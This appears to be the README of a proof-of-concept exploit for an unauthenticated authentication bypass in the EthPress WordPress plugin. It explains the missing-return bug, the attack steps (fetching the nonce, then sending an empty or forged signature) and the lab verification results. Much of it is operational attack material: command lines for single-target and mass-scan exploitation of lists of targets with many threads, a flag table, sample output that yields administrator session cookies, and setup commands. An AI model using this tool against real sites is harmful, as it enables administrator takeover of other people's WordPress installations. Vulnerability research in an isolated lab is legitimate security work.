
Verified proof-of-concept exploiting the EthPress <= 2.3.5 unauthenticated authentication bypass, granting a WordPress administrator session via a wallet address.
Working, verified proof-of-concept for the EthPress wallet-login authentication bypass, developed and validated against the X-1 localhost lab.
RAZZ, user id 1, roles=['administrator']) using nothing but a
public wallet address.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) checks the wallet signature, builds a
WP_Error when the check fails — and then forgets to return:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
Execution continues into the login block, Address::log_in() resolves the
attacker-supplied wallet address to its owning WordPress user, and
wp_set_auth_cookie() authenticates that user. The response is
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| Flag | Meaning |
|---|---|
-f, --file | file of target URLs (one per line, # comments) for mass scan + auto-exploit |
-t, --threads | concurrent worker threads (default 10) |
-o, --output | output/log path, JSON Lines (default cve-2026-19125-results.jsonl) |
-u, --url | single target URL (repeatable) |
-a, --address | victim wallet address linked to a WordPress account |
-af, --address-file | file of candidate wallet addresses |
-k, --private-key | attacker private key hex (default: fresh random key per attack) |
--timeout | HTTP timeout seconds (default 20) |
--verify-tls | verify TLS certificates |
-q, --quiet | suppress per-target progress lines |
requests is the only dependency (pip install requests). All Ethereum crypto
(Keccak-256, secp256k1, RFC 6979 signing, address recovery) is implemented
inside poc.py with the standard library only.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php and read
ethpressLoginWP.loginNonce. It is a wp_create_nonce('ethpress_log_in')
minted for an anonymous (uid=0) session and is therefore valid for the
attacker's own unauthenticated AJAX call.coinbase. verify2() returns [false, error] — and
2.3.5 discards it. (A completely empty signature works too; poc.py falls
back to that automatically.)/wp-admin/, scrape the
session's REST nonce, and call /wp/v2/users/me?context=edit → the real
user id, login and roles; plus assert access to four administrator-only
screens.| Test | Build | Expected | Observed | Artifact |
|---|---|---|---|---|
| Positive exploit, linked admin address | 2.3.5 | takeover | id=1 RAZZ roles=['administrator'], all 4 admin caps | results.jsonl, evidence/run-positive.log |
| Negative control, unlinked address | 2.3.5 | no session | "You have not registered on this site" | results-neg.jsonl |
| Patched control, both primitives | 2.3.6 | rejected | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Raw curl reproduction, no tooling | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | confirmed |
| Signature-input boundary matrix | 2.3.5 | mixed | 2 deterministic primitives; random blobs ≈50/50 or HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, unlinked address | 2.3.5 | new subscriber session | user 0xAAAA... created with role subscriber, logged in (then removed) | evidence/results-registration-open.jsonl |
Reproduce any of it:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update writes exactly the storage key the plugin's own
Address::create() writes (update_user_meta($uid, 'ethpress', $coinbase)), so
the precondition is provisioned the legitimate way — no artificial weakening of
the target.
Reference builds for diffing live outside the plugins directory:
../_plugin-reference/ethpress/{vulnerable,latest}.
Swapping plugin versions in place while Apache keeps running leaves the old
compiled bytecode in OPcache. PHP then continues executing the previous
version's files; because 2.3.6's freemius/start.php:584 requires
freemius/require.php → includes/class-fs-hook-snapshot.php (a file that only
exists in 2.3.6), the site returned HTTP 500 even though 2.3.5 was on disk.
lab-switch-version.sh now restarts wp_app after every switch and waits for
/wp-login.php to return 200. Always confirm the running version, not just
the on-disk one.
| Code | Meaning |
|---|---|
0 | at least one target was EXPLOITED |
1 | ran fine, no target exploited |
2 | bad usage — missing/unreadable input file, or no wallet address given |
-a is the one thing you must get right-a/--address must be the wallet address that is already linked to the
target WordPress account — i.e. the wp_usermeta row with
meta_key = 'ethpress'. The PoC cannot guess it: the address is not exposed
anywhere publicly.
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value